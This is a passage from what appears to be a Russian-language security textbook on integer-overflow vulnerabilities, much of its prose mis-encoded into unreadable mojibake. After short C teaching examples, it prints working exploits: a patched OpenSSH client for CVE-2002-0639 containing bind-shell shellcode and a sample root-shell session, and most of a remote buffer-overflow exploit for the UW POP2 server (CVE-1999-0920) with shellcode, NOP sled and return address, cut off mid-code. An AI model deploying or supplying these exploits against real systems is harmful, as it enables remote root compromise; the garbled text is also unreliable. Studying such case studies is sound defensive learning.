Пример 11.8.Пример 11.8.Пример 11.8.Пример 11.8.Пример 11.8. Переполнение целого числа при умножении
 1 #include <stdio.h>

 2 #include <stdlib.h>

 3
 4 int main(void)

 5 {

 6   unsigned int i, length1, length2;

 7   char *buf;

 8
 9   // 0xffffffff/5 â 16-ðè÷íîì èëè 1073741824 â äåñÿòè÷íîì âèäå

10   length1 = 0x33333333;

11   length2 = 0x5;

12
13   // âûäåëèòü ïàìÿòü äëÿ õðàíåíèÿ length1*length2 + 1 áàéòîâ

14   buf = (char *) malloc(length1*length2 + 1);

15
16   // íàïå÷àòàòü äëèíó è ñîäåðæèìîå áóôåðà â 16-ðè÷íîì âèäå
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17   printf("length1: %x\tlength2: %x\ttotal: %x\tbuf: %s\n",
         length1, length2, length1*length2 + 1, buf);

18
19   // çàïîëíèòü áóôåð ñèìâîëàìè "A"

20   for (i=0; i<(length1*length2); i++) buf[i] = 0x41;
21
22   // â ïîñëåäíþþ ïîçèöèþ áóôåðà çàïèñàòü 0
23   buf[i] = 0x0;

24
25   // íàïå÷àòàòü äëèíó è ñîäåðæèìîå áóôåðà â 16-ðè÷íîì âèäå

26   printf("length1: %x\tlength2: %x\ttotal: %x\tbuf: %s\n",
         length1, length2, length1*length2 + 1, buf);

27
28   return 0;

29 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Äâå ïåðåìåííûå (length1 è length2) ïåðåìíîæàþòñÿ äëÿ âû÷èñëåíèÿ ðàçìåðà
áóôåðà, è ê ðåçóëüòàòó ïðèáàâëÿåòñÿ 1 (äëÿ íóëåâîãî áàéòà). Ìàêñèìàëüíî
âîçìîæíîå 32-ðàçðÿäíîå áåççíàêîâîå ÷èñëî ðàâíî 0xffffffff. Â äàííîì ñëó÷àå
ñëåäóåò ðàññìàòðèâàòü çíà÷åíèå length2 (5) êàê «çàøèòîå» â êîä ïðèëîæåíèÿ.
×òîáû ðàçìåð áóôåðà îáðàòèëñÿ â 0, çíà÷åíèå length1 äîëæíî áûòü ðàâíî
0x33333333, òàê êàê 0x33333333 * 5 = 0xffffffff. Ïîñëå ïðèáàâëåíèÿ 1 ìû â ðå-
çóëüòàòå ïåðåïîëíåíèÿ ïîëó÷àåì 0, òî åñòü âûäåëÿåòñÿ ïàìÿòü äëÿ áóôåðà
íóëåâîé äëèíû. Êîãäà â ñòðîêå 20 ìû ïûòàåòñÿ ïèñàòü â ýòîò áóôåð, ïðîãðàì-
ìà àâàðèéíî çàâåðøàåòñÿ. Ýòà îøèáêà ïåðåïîëíåíèÿ ïðè óìíîæåíèè î÷åíü
ïîõîæà íà òó, ÷òî áûëà îáíàðóæåíà â ïàêåòå OpenSSH.

Обход проверки размера

Â ïðîãðàììàõ ÷àñòî âñòðå÷àþòñÿ ïðîâåðêè, ïðèçâàííûå ãàðàíòèðîâàòü, ÷òî
òîò èëè èíîé êîä áóäåò âûïîëíåí ëèøü ïðè óñëîâèè, ÷òî íåêîå öåëîå ÷èñëî
áîëüøå èëè ìåíüøå äðóãîãî ÷èñëà. Èíîãäà òàêèå ïðîâåðêè âñòàâëÿþò, ÷òî-
áû çàùèòèòüñÿ îò îøèáîê, ñâÿçàííûõ ñ ïåðåïîëíåíèåì öåëîãî, ðàññìîòðåí-
íûõ âûøå. ×àùå âñåãî ïîäîáíàÿ ïðîâåðêà âûïîëíÿåòñÿ, åñëè ïåðåìåííàÿ
èíòåðïðåòèðóåòñÿ êàê ìàêñèìàëüíîå ÷èñëî îòâåòîâ èëè ðàçìåð áóôåðà, ÷òî-
áû çëîíàìåðåííûé ïîëüçîâàòåëü íå ïîïûòàëñÿ ïðåâûñèòü îæèäàåìûé ïîðîã.
Òàêàÿ òàêòèêà äåéñòâèòåëüíî ìîæåò çàùèòèòü îò ïåðåïîëíåíèÿ. Íî ê íåñ÷à-
ñòüþ äëÿ áëàãîðàçóìíîãî ïðîãðàììèñòà äàæå ïðîñòîé çíàê «áîëüøå» èëè
«ìåíüøå» ìîæåò èìåòü ïå÷àëüíûå ïîñëåäñòâèÿ äëÿ áåçîïàñíîñòè, ïîýòîìó
òðåáóåòñÿ äîïîëíèòåëüíûé êîä.

Â ïðèìåðå 11.9 ïîêàçàíî, êàê ñ ïîìîùüþ ïðîâåðêè ïåðåìåííîé îïðåäåëÿ-
åòñÿ äàëüíåéøèé ïóòü âûïîëíåíèÿ ïðîãðàììû è, ÷òî áîëåå âàæíî, êàê ïåðå-
ïîëíåíèå öåëîãî ïîçâîëÿåò ýòó ïðîâåðêó îáîéòè.

Эксплойты для ошибок при работе с целыми числами
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Пример 11.9. Пример 11.9. Пример 11.9. Пример 11.9. Пример 11.9. Обход проверки беззнакового целого числа с помощью
переполнения
 1 #include <stdio.h>

 2
 3 int main(void)

 4 {

 5   unsigned int num;

 6
 7   num = 0xffffffff;

 8   num++;

 9
10   if (num > 512)

11   {

12      printf("Ñëèøêîì áîëüøîå ÷èñëî, âûõîäèì\n");

13      return -1;

14   } else {

15      printf("Òåñò íà äëèíó ïðîéäåí.\n");

16   }

17
18   return 0;

19 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Ìîæåòå ñ÷èòàòü, ÷òî çíà÷åíèå ïåðåìåííîé num â ñòðîêå 7 ïîñòóïèëî èç
âíåøíåãî èñòî÷íèêà. Â ñòðîêå 8 ïðîèçâîäèòñÿ íåêàÿ ìàíèïóëÿöèÿ ñ ýòîé ïå-
ðåìåííîé, ÿâëÿþùàÿñÿ ÷àñòüþ àëãîðèòìà, à â ñòðîêå 10 âûïîëíÿåòñÿ ñîá-
ñòâåííî ïðîâåðêà, òî åñòü óêàçàííîå ÷èñëî (ïëþñ 1) ñðàâíèâàåòñÿ ñ 512.
Â äàííîì ñëó÷àå ÷èñëî ðàâíî 4294967925. ßñíî, ÷òî îíî áîëüøå 512, íî
ñòîèëî äîáàâèòü ê íåìó 1, êàê îíî îáðàòèëîñü â íóëü, è ïðîâåðêà äàëà îòðè-
öàòåëüíûé ðåçóëüòàò.

×òîáû îáîéòè ïðîâåðêó ðàçìåðà, âîâñå íåîáÿçàòåëüíî óñòðàèâàòü ïåðå-
ïîëíåíèå öåëîãî, äà è ÷èñëî íå îáÿçàíî áûòü áåççíàêîâûì. Â ðåàëüíûõ ïðî-
ãðàììàõ ÷àñòî îáõîäÿòñÿ ïðîâåðêè, â êîòîðûõ ó÷àñòâóþò öåëûå ÷èñëà ñî çíà-
êîì. Îäèí òàêîé ñëó÷àé ïðîäåìîíñòðèðîâàí â ïðèìåðå 11.10.

Пример 11.10. Пример 11.10. Пример 11.10. Пример 11.10. Пример 11.10. Обход проверки, в которой участвует число со знаком,
без переполнения
1 #include <stdio.h>

2 #include <stdlib.h>

3 #include <string.h>

4
5 #define BUFSIZE 1024

6
7 int main(int argc, char *argv[])

8 {
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 9   char inputbuf[BUFSIZE] = {0}, outputbuf[BUFSIZE] = {0};

10   int num, limit = BUFSIZE;

11
12   if (argc != 3) return -1;

13
14   strncpy(inputbuf, argv[2], BUFSIZE-1);

15   num = atoi(argv[1]);

16
17   printf("num: %x\tinputbuf: %s\n", num, inputbuf);

18
19   if (num > limit)

20   {

21     printf("Ñëèøêîì áîëüøîå, âûõîäèì.\n");

22     return -1;

23   } else {

24     memcpy(outputbuf, inputbuf, num);

25     printf("outputbuf: %s\n", outputbuf);

26   }

27
28   return 0;

29 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Ïî óìîë÷àíèþ, âñå öåëûå çíàêîâûå, åñëè ÿâíî íå óêàçàí ìîäèôèêàòîð un-
signed. Íî íå çàáûâàéòå î «òèõîì» ïðèâåäåíèè òèïîâ. ×òîáû îáîéòè ïðî-
âåðêó â ñòðîêå 19, äîñòàòî÷íî â êà÷åñòâå ïåðâîãî àðãóìåíòà ïðîãðàììû
â êîìàíäíîé ñòðîêå çàäàòü îòðèöàòåëüíîå ÷èñëî. Ïîïðîáóéòå, íàïðèìåð, âû-
ïîëíèòü òàêèå êîìàíäû:

$ gcc -p example example.c
$ ./example -200 ‘perl -e 'print "A"x2000'‘

Â ýòîì ñëó÷àå â outputbuf íå áóäóò çàïèñàíû áóêâû ‘A’, ïîñêîëüêó îòðèöà-
òåëüíîå çíà÷åíèå -200 ïðîéäåò ïðîâåðêó â ñòðîêå 19, ïîñëå ÷åãî ïðîèçîéäåò
çàòèðàíèå êó÷è, òàê êàê memcpy ïîïûòàåòñÿ ïèñàòü â ïàìÿòü çà ïðåäåëàìè
áóôåðà.

Другие ошибки, связанные с целыми числами

Îøèáêè âîçíèêàþò òàêæå èç-çà ñðàâíåíèÿ 16-ðàçðÿäíûõ è 32-ðàçðÿäíûõ ÷è-
ñåë, îñîçíàííîé èëè íåò. Âïðî÷åì, ïîäîáíûå îøèáêè â ïðîìûøëåííûõ ïðî-
ãðàììàõ âñòðå÷àþòñÿ ðåäêî, òàê êàê, ñêîðåå âñåãî, áóäóò îáíàðóæåíû îòäåëîì
êîíòðîëÿ êà÷åñòâà èëè êîíå÷íûì ïîëüçîâàòåëåì. Ïðè ðàáîòå ñ ñèìâîëàìè
Unicode, à òàêæå ñ ôóíêöèÿìè äëÿ ìàíèïóëÿöèé ñèìâîëàìè òèïà wchar_t

Эксплойты для ошибок при работе с целыми числами
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â ïðîãðàììàõ äëÿ Windows, íà âû÷èñëåíèå äëèí áóôåðîâ è ðàçìåðû ïåðåìåí-
íûõ öåëî÷èñëåííûõ òèïîâ òàêæå íàäî îáðàùàòü âíèìàíèå.

Õîòÿ ðàññìîòðåííûå âûøå îøèáêè èç-çà ïåðåïîëíåíèÿ öåëûõ êàñàëèñü
òîëüêî áåççíàêîâûõ 32-ðàçðÿäíûõ ÷èñåë, íî âñå òî æå ñàìîå îòíîñèòñÿ è
ê öåëûì ñî çíàêîì, è ê êîðîòêèì öåëûì (òèïà short), è ê 64-ðàçðÿäíîé
àðèôìåòèêå, è ê ïðî÷èì ÷èñëîâûì âåëè÷èíàì.

Êàê ïðàâèëî, ÷òîáû îøèáêà ïðè ðàáîòå ñ öåëûìè ïðèâåëà ê ïåðåïîëíåíèþ
ñòåêà èëè çàòèðàíèþ êó÷è è, ñëåäîâàòåëüíî, ê âîçìîæíîñòè íàïèñàíèÿ ýêñï-
ëîéòà, çëîíàìåðåííûé ïîëüçîâàòåëü äîëæåí èìåòü ïðÿìîé èëè êîñâåííûé
êîíòðîëü íàä êàêîé-òî ïåðåìåííîé, îïðåäåëÿþùåé ðàçìåð. Ìàëîâåðîÿòíî,
÷òî îí ïîëó÷èò ïðÿìîé êîíòðîëü, ñêàæåì, âîçìîæíîñòü óêàçàòü ðàçìåð â êî-
ìàíäíîé ñòðîêå, õîòÿ âñÿêîå áûâàåò. Ñêîðåå, ïðîãðàììà âû÷èñëèò íåâåðíóþ
äëèíó èñõîäÿ èç äðóãèõ äàííûõ, ââåäåííûõ èëè îòïðàâëåííûõ ïîëüçîâàòåëåì.

Пример: уязвимость OpenSSH из�за
переполнения целого в процедуре
оклика/отзыва CVE�2002�0639
Â ïîïóëÿðíîì ïðèëîæåíèè OpenSSH áûëà îáíàðóæåíà óÿçâèìîñòü â ïîñëåäîâà-
òåëüíîñòè àóòåíòèôèêàöèè. Åé ìîæíî âîñïîëüçîâàòüñÿ òîëüêî, åñëè ñåðâåðíîå
ïðèëîæåíèå SSH ïîääåðæèâàåò ìåõàíèçìû àóòåíòèôèêàöèè skey è bsdauth.
Â áîëüøèíñòâå äèñòðèáóòèâîâ îïåðàöèîííûõ ñèñòåì ýòè äâå îïöèè ïðè êîì-
ïèëÿöèè ñåðâåðà íå çàäàþòñÿ. Íî â OpenBSD îáå ïî óìîë÷àíèþ âêëþ÷åíû.

Детали уязвимости

Ýòî êëàññè÷åñêèé ïðèìåð óÿçâèìîñòè èç-çà ïåðåïîëíåíèÿ öåëîãî ÷èñëà.
Îøèáêà äîïóùåíà â ñëåäóþùåì ôðàãìåíòå:

1 nresp = packet_get_int();

2 if (nresp > 0) {

3    response = xmalloc(nresp * sizeof(char*));

4    for (i = 0; i < nresp; i++) {

5        response[i] = packet_get_string(NULL);

6    }

7 }

Ó ïðîòèâíèêà åñòü âîçìîæíîñòü âîçäåéñòâîâàòü íà çíà÷åíèå nresp (ñòðîêà 1),
èçìåíèâ êîä SSH-êëèåíòà. Â ðåçóëüòàòå èçìåíèòñÿ îáúåì ïàìÿòè, âûäåëåí-
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íîé ôóíêöèåé xmalloc â ñòðîêå 3. Åñëè çíà÷åíèå nresp îêàæåòñÿ âåëèêî, íàïðè-
ìåð, 0x40000400, òî âîçíèêíåò ïåðåïîëíåíèå öåëîãî è xmalloc âûäåëèò âñåãî
4096 áàéòîâ. Çàòåì OpenSSH ïîïûòàåòñÿ çàïèñàòü nresp óêàçàòåëåé â âûäåëåí-
íûé ìàññèâ (ñòðîêè 4-6), ÷òî ïðèâåäåò ê çàòèðàíèþ êó÷è.

Äåòàëè ýêñïëîéòàÄåòàëè ýêñïëîéòàÄåòàëè ýêñïëîéòàÄåòàëè ýêñïëîéòàÄåòàëè ýêñïëîéòà
Ðåàëèçàöèÿ ýêñïëîéòà äëÿ ýòîé óÿçâèìîñòè òðèâèàëüíà. Â OpenSSH èñïîëüçó-
þòñÿ ìíîãîîáðàçíûå óêàçàòåëè íà ôóíêöèè î÷èñòêè. Âñå îíè âûçûâàþò êîä,
ðàçìåùåííûé â êó÷å. Ïîìåñòèâ shell-êîä ïî ëþáîìó èç ýòèõ àäðåñîâ, ìîæíî
çàñòàâèòü ïðîãðàììó åãî âûïîëíèòü è, ñòàëî áûòü, ïîëó÷èòü îáîëî÷êó ñ ïðà-
âàìè root.

Ïðèìåð âûâîäà îò ïðîãðàììû sshd, çàïóùåííîé â ðåæèìå îòëàäêè (sshd -dd):

debug1: auth2_challenge_start: trying authentication method 'bsdauth'
Postponed keyboard-interactive for test from 127.0.0.1 port 19170 ssh2
buffer_get: trying to get more bytes 4 than in buffer 0
debug1: Calling cleanup 0x62000(0x0)

Òàêèì îáðàçîì, íàì äîñòàòî÷íî ðàçìåñòèòü ñâîé shell-êîä ïî àäðåñó 0x62000.
Ýòî ñîâñåì ïðîñòî, íóæíî ëèøü çàïèñàòü åãî â êó÷ó, êîãäà áóôåð ïåðåïîë-
íèòñÿ, à çàòåì ñêîïèðîâàòü êóäà íóæíî.

Êðèñòîô Äåâèí (Christophe Devine) (devine@iie.cnam.fr) íàïèñàë çàïëàòó
äëÿ êëèåíòà OpenSSH, êîòîðàÿ âêëþ÷àåò è êîä ýêñïëîéòà. Åãî çàïëàòà è èíñò-
ðóêöèè ê íåé ïðèëàãàþòñÿ:

 1 1. Çàãðóçèòü openssh-3.2.2p1.tar.gz è ðàñêðûòü àðõèâ
 2
 3 ~ $ tar -xvzf openssh-3.2.2p1.tar.gz

 4
 5 2. Íàëîæèòü ïðèâåäåííóþ íèæå çàïëàòó, âûïîëíèâ êîìàíäû:

 6
 7 ~/openssh-3.2.2p1 $ patch < path_to_diff_file

 8
 9 3. Îòêîìïèëèðîâàòü çàëàòàííîãî êëèåíòà

10
11 ~/openssh-3.2.2p1 $ ./configure && make ssh

12
13 4. Çàïóñòèòü "èñïðàâëåííûé" ssh:

14
15 ~/openssh-3.2.2p1 $ ./ssh root:skey@localhost

16
17 5. Åñëè ýêñïëîéò ñðàáîòàë, ìîæíî ñîåäèíèòüñÿ ñ ïîðòîì 128 ñ äðóãîãî

      òåðìèíàëà:

18
19 ~ $ nc localhost 128

Пример: уязвимость OpenSSH из�за переполнения целого в процедуре оклика/отзыва
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20 uname -a

21 OpenBSD nice 3.1 GENERIC#59 i386

22 id

23 uid=0(root) gid=0(wheel) groups=0(wheel)

24
25 — sshconnect2.c Sun Mar 31 20:49:39 2002

26 +++ evil-sshconnect2.c Fri Jun 28 19:22:12 2002

27 @@ -839,6 +839,56 @@

28  /*

29   * ðàçîáðàòü INFO_REQUEST, çàïðîñèòü ïîëüçîâàòåëÿ è ïîñëàòü

     * INFO_RESPONSE

30   */

31 +

32 +int do_syscall( int nb_args, int syscall_num, ... );

33 +

34 +void shellcode( void )

35 +{

36 +    int server_sock, client_sock, len;

37 +    struct sockaddr_in server_addr;

38 +    char rootshell[12], *argv[2], *envp[1];

39 +

40 +    server_sock = do_syscall( 3, 97, AF_INET, SOCK_STREAM, 0 );

41 +    server_addr.sin_addr.s_addr = 0;

42 +    server_addr.sin_port = 32768;

43 +    server_addr.sin_family = AF_INET;

44 +    do_syscall( 3, 104, server_sock,

45        (struct sockaddr *) &server_addr, 16 );

46 +    do_syscall( 2, 106, server_sock, 1 );

47 +    client_sock = do_syscall( 3, 30, server_sock, (struct sockaddr *)

48 + &server_addr, &len );

49 +    do_syscall( 2, 90, client_sock, 0 );

50 +    do_syscall( 2, 90, client_sock, 1 );

51 +    do_syscall( 2, 90, client_sock, 2 );

52 +    * (int *) ( rootshell + 0 ) = 0x6E69622F;

53 +    * (int *) ( rootshell + 4 ) = 0x0068732f;

54 +    * (int *) ( rootshell + 8 ) = 0;

55 +    argv[0] = rootshell;

56 +    argv[1] = 0;

57 +    envp[0] = 0;

58 +    do_syscall( 3, 59, rootshell, argv, envp );

59 +}

60 +

61 +int do_syscall( int nb_args, int syscall_num, ... )

62 +{

63 +    int ret;

64 +    asm(

65 + "mov 8(%ebp), %eax; "

66 + "add $3,%eax; "

67 + "shl $2,%eax; "
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 68 + "add %ebp,%eax; "

 69 + "mov 8(%ebp), %ecx; "

 70 + "push_args: "

 71 + "push (%eax); "

 72 + "sub $4, %eax; "

 73 + "loop push_args; "

 74 + "mov 12(%ebp), %eax; "

 75 + "push $0; "

 76 + "int $0x80; "

 77 + "mov %eax,-4(%ebp)"

 78 +    );

 79 +    return( ret );

 80 +}

 81 +

 82  void

 83  input_userauth_info_req(int type, u_int32_t seq, void *ctxt)

 84  {

 85 @@ -865,7 +915,7 @@

 86    xfree(inst);

 87    xfree(lang);

 88
 89 -  num_prompts = packet_get_int();

 90 +  num_prompts = 1073741824 + 1024;

 91    /*

 92     * Íà÷àòü ïîñòðîåíèå ïàêåòà INFO_RESPONSE, âêëþ÷àþùåì íóæíî ÷èñëî

 93     * ïðèãëàøåíèé. Ìû îáÿçóåìñÿ ïîñëàòü ïðàâèëüíîå ÷èñëî îòâåòîâ,
 94 @@ -874,6 +924,13 @@

 95     */

 96     packet_start(SSH2_MSG_USERAUTH_INFO_RESPONSE);

 97     packet_put_int(num_prompts);

 98 +

 99 +   for( i = 0; i < 1045; i++ )

100 +    packet_put_cstring( "xxxxxxxxxx" );
101 +
102 +  packet_put_string( shellcode, 2047 );
103 +  packet_send();
104 +  return;
105
106    debug2("input_userauth_info_req: num_prompts %d", num_prompts);
107    for (i = 0; i < num_prompts; i++) {

Íèæå ïðèâåäåí ïðèìåð ñåàíñà ñâÿçè ñ èñïîëüçîâàíèåì ìîäèôèöèðîâàííî-
ãî êëèåíòà ssh, ñîäåðæàùåãî êîä ýêñïëîéòà:

1 $ ssh root:skey@127.0.0.1&

2 $ telnet 127.0.0.1 128

3 id;

4 uid=0 (root) gid=0 (wheel)

5

Пример: уязвимость OpenSSH из�за переполнения целого в процедуре оклика/отзыва
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Ýòî ýêñïëîéò ïðèñâàèâàåò ïåðåìåííîé nresp çíà÷åíèå 0x40000400, çàñòàâ-
ëÿÿ malloc âûäåëèòü 4096 áàéòîâ ïàìÿòè. Ïðè ýòîì â öèêë êîïèðóåòñÿ ãîðàçäî
áîëüøå äàííûõ, êîòîðûå âûõîäÿò çà ãðàíèöó áóôåðà è çàòèðàþò êó÷ó.
Â OpenSSH åñòü ìíîãî óêàçàòåëåé íà ôóíêöèè, êîòîðûå íàõîäÿòñÿ â êó÷å
âñëåä çà âûäåëåííûì áóôåðîì. Ýêñïëîéò êîïèðóåò shell-êîä íåïîñðåäñòâåííî
â êó÷ó â íàäåæäå, ÷òî SSH âûïîëíèò åãî, êîãäà âûçîâåò ôóíêöèþ î÷èñòêè,
à òàê îíî ÷àùå âñåãî è áûâàåò.

Пример: уязвимость в UW POP2,
связанная с переполнением
буфера, CVE�1999�0920
Â âåðñèè 4.4 è áîëåå ðàííèõ POP2-ñåðâåðà ðàçðàáîòêè Âàøèíãòîíñêîãî óíè-
âåðñèòåòà èìååòñÿ îøèáêà, ñâÿçàííàÿ ñ ïåðåïîëíåíèåì áóôåðà. Àòàêà íà íåå
ïîçâîëÿåò ïîëó÷èòü óäàëåííûé äîñòóï ê ñèñòåìå îò èìåíè ïîëüçîâàòåëÿ
«nobody».

Детали уязвимости

Îøèáêà äîïóùåíà â ñëåäóþùåì ôðàãìåíòå ïðîãðàììû:

 1 short c_fold (char *t)

 2 {

 3   unsigned long i,j;

 4   char *s, tmp[TMPLEN];

 5   if (!(t && *t)) { // ïðîâåðèì, ÷òî àðãóìåíò çàäàí

 6      puts("- Íå çàäàíî èìÿ ïî÷òîâîãî ÿøèêà\015");

 7      return DONE;

 8   }

 9 // óíè÷òîæèòü ñòàðûé ïîòîê

10   if (stream && nmsgs) mail_expunge (stream);

11   nmsgs = 0; // áîëüøå íåò ñîîáùåíèé

12   if (msg) fs_give ((void **) &msg);

13 // íå ðàçðåøàåì ïðîêñè ïîêèíóòü IMAP

14   if (stream && stream->mailbox &&

      (s = strchr (stream->mailbox,'}'))) {

15      strncpy(tmp,stream->mailbox,i = (++s – stream->mailbox));

16      strcpy (tmp+i,t); // äîáàâèòü ïî÷òîâûé ÿùèê

17      t = tmp;

18 }
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Â ñòðîêå 16 âûçûâàåòñÿ ôóíêöèÿ strcpy, êîòîðàÿ êîïèðóåò äàííûå, ïîñòó-
ïèâøèå îò ïîëüçîâàòåëÿ (íà íèõ óêàçûâàåò ïåðåìåííàÿ t), â áóôåð tmp. Åñëè
çëîíàìåðåííûé ïîëüçîâàòåëü ïîøëåò POP2-ñåðâåðó êîìàíäó FOLD äëèíû,
áîëüøåé ÷åì TMPLEN, òî ïðîèçîéäåò ïåðåïîëíåíèå ñòåêà, è, çíà÷èò, îòêðû-
âàåòñÿ âîçìîæíîñòü äëÿ óäàëåííîé àòàêè. ×òîáû âîñïîëüçîâàòüñÿ ýòîé óÿçâè-
ìîñòüþ, ïðîòèâíèê äîëæåí óáåäèòü POP2-ñåðâåð ñîåäèíèòüñÿ ñ äîâåðåííûì
IMAP-ñåðâåðîì, íà êîòîðîì åñòü äåéñòâóþùàÿ ó÷åòíàÿ çàïèñü. Ïîñëå òîãî
êàê òàêîé «àíîíèìíûé ïðîêñè» îðãàíèçîâàí, ìîæíî îòïðàâëÿòü êîìàíäó
FOLD.

Ïîñëå ïåðåïîëíåíèÿ â ñòåêå îêàçûâàþòñÿ ïîñëàííûå ïîëüçîâàòåëåì äàí-
íûå, êîòîðûå çàòèðàþò ñîõðàíåííîå çíà÷åíèå ðåãèñòðà EIP. Ïîäãîòîâèâ
ñòðîêó, êîòîðàÿ ñîäåðæèì êîìàíäû NOP, shell-êîä è àäðåñ âîçâðàòà, àòàêóþ-
ùèé ñìîæåò ïîëó÷èòü óäàëåííûé äîñòóï ê ñèñòåìå ñ ïðàâàìè ïîëüçîâàòåëÿ
«nobody». Íèæå ïðèâåäåí êîä ýêñïëîéòà.

 1 #include <stdio.h>

 2 #include <errno.h>

 3 #include <unistd.h>

 4 #include <string.h>

 5 #include <stdlib.h>

 6 #include <netdb.h>

 7 #include <netinet/in.h>

 8 #include <sys/socket.h>

 9
10 #define RET 0xbffff64e

11 #define max(a, b) ((a) > (b) ? (a):(b))

12
13 int shell(int);

14 int imap_server();

15 void usage(char *);

16 int connection(char *);

17 int get_version(char *);

18 unsigned long resolve(char *);

19
20 char shellcode[] =

21   "\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"

22   "\x89\xe3\x52\x54\x54\x59\x6a\x0b\x58\xcd\x80";

23
24 struct platform {

25   char *version;

26   int offset;

27   int align;

28 };

29
30 struct platform targets[4] =

31 {

Пример: уязвимость в UW POP2, связанная с переполнением буфера, CVE�1999�0920
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32   { "v4.46", 0, 3 },

33   { "v3.44", 0, 0 },

34   { "v3.35", 0, 0 },

35   { NULL, 0, 0 }

36 };

37
38 int main(int argc, char **argv)

39 {

40   int sockfd, i, opt, align, offset, t;

41   char *host, *local, *imap, *user, *pass;

42   unsigned long addr;

43   char sendbuf[1024], voodoo[1004], hello[50];

44   struct platform *target;

45
46   host = local = imap = user = pass = NULL;

47   t = -1;

48   offset = align = 0;

49
50   setvbuf(stdout, NULL, _IONBF, 0);

51
52   printf("Linux ipop2d buffer overflow exploit by bind / 1999\n\n");

53
54   while((opt = getopt(argc, argv, "v:l:i:u:p:a:o:t:")) != EOF) {

55     switch(opt) {

56       case 'v': host = optarg; break;

57       case 'l': local = optarg; break;

58       case 'i': imap = optarg; break;

59       case 'u': user = optarg; break;

60       case 'p': pass = optarg; break;

61       case 'a': align = atoi(optarg); break;

62       case 'o': offset = atoi(optarg); break;

63       case 't': t = atoi(optarg); break;

64       default: usage(argv[0]); break;

65     }

66   }

67
68   if(!host)

69     usage(argv[0]);

70
71   if(!local && !imap) {

72     printf("Íåîáõîäèìî óêàçàòü IMAP-ñåðâåð èëè âàø IP-àäðåñ \n");

73     exit(-1);

74   }

75
76   if(imap && !user) {

77     printf("Äëÿ ñòîðîííåãî IMAP-ñåðâåðà çàäàéòå èìÿ ïîëüçîâàòåëÿ\n");

78     exit(-1);

79   }

80
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 81   if(imap && !pass) {

 82     printf("Äëÿ ñòîðîííåãî IMAP-ñåðâåðà çàäàéòå ïàðîëü\n");

 83     exit(-1);

 84   }

 85
 86   if(!imap) {

 87     if(geteuid()) {

 88       printf("Îøèáêà: äëÿ ðàáîòû ñ ïñåâäî IMAP-ñåðâåðîì íóæíû "

                 "ïðàâà root\n");

 89       exit(-1);

 90     }

 91   }

 92
 93   if(t < 0) {

 94     printf("Îïðåäåëÿþ âåðñèþ ñåðâåðà.");

 95     t = get_version(host);

 96   }

 97
 98   target = &targets[t];

 99
100   if(imap)

101     snprintf(hello, sizeof(hello), "HELO %s:%s %s\r\n", imap, user,

                 pass);

102   else

103     snprintf(hello, sizeof(hello), "HELO %s:test test\r\n", local);

104
105   align += 64 – (strlen(hello) – 2);

106
107   sockfd = connection(host);

108   if(sockfd < 0) {

109     printf(".îøèáêà\n");

110     exit(-1);

111   }

112
113   send(sockfd, hello, strlen(hello), 0);

114
115   if(!imap) {

116     if(imap_server() < 0) {

117       close(sockfd);

118       exit(-1);

119     }

120   } else {

121     printf("Æäó ïîêà IMAP-ñåðâåð íå àóòåíòèôèöèðóåò POP2");

122     for(i = 0; i < 10; i++) {

123       printf(".");

124       sleep(1);

125       if(i == 9) printf("çàâåðøåíî\n");

126     }

127   }

Пример: уязвимость в UW POP2, связанная с переполнением буфера, CVE�1999�0920
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128
129   putchar('\n');

130
131
132   memset(voodoo, 0x90, 1004);

133   memcpy(voodoo + 500, shellcode, strlen(shellcode));

134
135   addr = RET – target->offset – offset;

136
137   for(i = (strlen(shellcode) + (600 + target->align+align));

          i <= 1004; i += 4)

138     *(long *)&voodoo[i] = addr;

139
140   snprintf(sendbuf, sizeof(sendbuf), "FOLD %s\n", voodoo);

141   send(sockfd, sendbuf, strlen(sendbuf), 0);

142
143   shell(sockfd);

144
145   exit(0);

146 }

147
148 int get_version(char *host)

149 {

150   int sockfd, i;

151   char recvbuf[1024];

152
153   sockfd = connection(host);

154   if(sockfd < 0)

155     return(-1);

156
157   recv(sockfd, recvbuf, sizeof(recvbuf), 0);

158
159   for(i = 0; targets[i].version != NULL; i++) {

160     printf(".");

161     if(strstr(recvbuf, targets[i].version) != NULL) {

162       printf("adjusted for %s\n", targets[i].version);

163       close(sockfd);

164       return(i);

165     }

166   }

167
168   close(sockfd);

169   printf("íèêàêèõ èçìåíåíèé íå ñäåëàíî\n");

170   return(0);

171 }

172
173 int connection(char *host)

174 {

175   int sockfd, c;
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176   struct sockaddr_in sin;

177
178   sockfd = socket(AF_INET, SOCK_STREAM, 0);

179   if(sockfd < 0)

180     return(sockfd);

181
182   sin.sin_family = AF_INET;

183   sin.sin_port = htons(109);

184   sin.sin_addr.s_addr = resolve(host);

185
186   c = connect(sockfd, (struct sockaddr *)&sin, sizeof(sin));

187   if(c < 0) {

188     close(sockfd);

189     return(c);

190   }

191
192   return(sockfd);

193 }

194
195 int imap_server()

196 {

197   int ssockfd, csockfd, clen;

198   struct sockaddr_in ssin, csin;

199   char sendbuf[1024], recvbuf[1024];

200
201   ssockfd = socket(AF_INET, SOCK_STREAM, 0);

202   if(ssockfd < 0)

203     return(ssockfd);

204
205   ssin.sin_family = AF_INET;

206   ssin.sin_port = ntohs(143);

207   ssin.sin_addr.s_addr = INADDR_ANY;

208
209   if(bind(ssockfd, (struct sockaddr *)&ssin, sizeof(ssin)) < 0) {

210     printf("\nError: bind() failed\n");

211     return(-1);

212   }

213
214   printf("Ïñåâäî IMAP-ñåðâåð æäåò ñîåäèíåíèÿ.");

215
216   if(listen(ssockfd, 10) < 0) {

217     printf("\nÎøèáêà listen()\n");

218     return(-1);

219   }

220
221   printf(".");

222
223   clen = sizeof(csin);

224   memset(&csin, 0, sizeof(csin));

Пример: уязвимость в UW POP2, связанная с переполнением буфера, CVE�1999�0920
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225
226   csockfd = accept(ssockfd, (struct sockaddr *)&csin, &clen);

227   if(csockfd < 0) {

228     printf("\n\nÎøèáêà accept()\n");

229     close(ssockfd);

230     return(-1);

231   }

232
233   printf(".");

234
235   snprintf(sendbuf, sizeof(sendbuf),

               "* OK localhost IMAP4rev1 2001\r\n");

236
237   send(csockfd, sendbuf, strlen(sendbuf), 0);

238   recv(csockfd, recvbuf, sizeof(recvbuf), 0);

239
240   printf(".");

241
242   snprintf(sendbuf, sizeof(sendbuf),

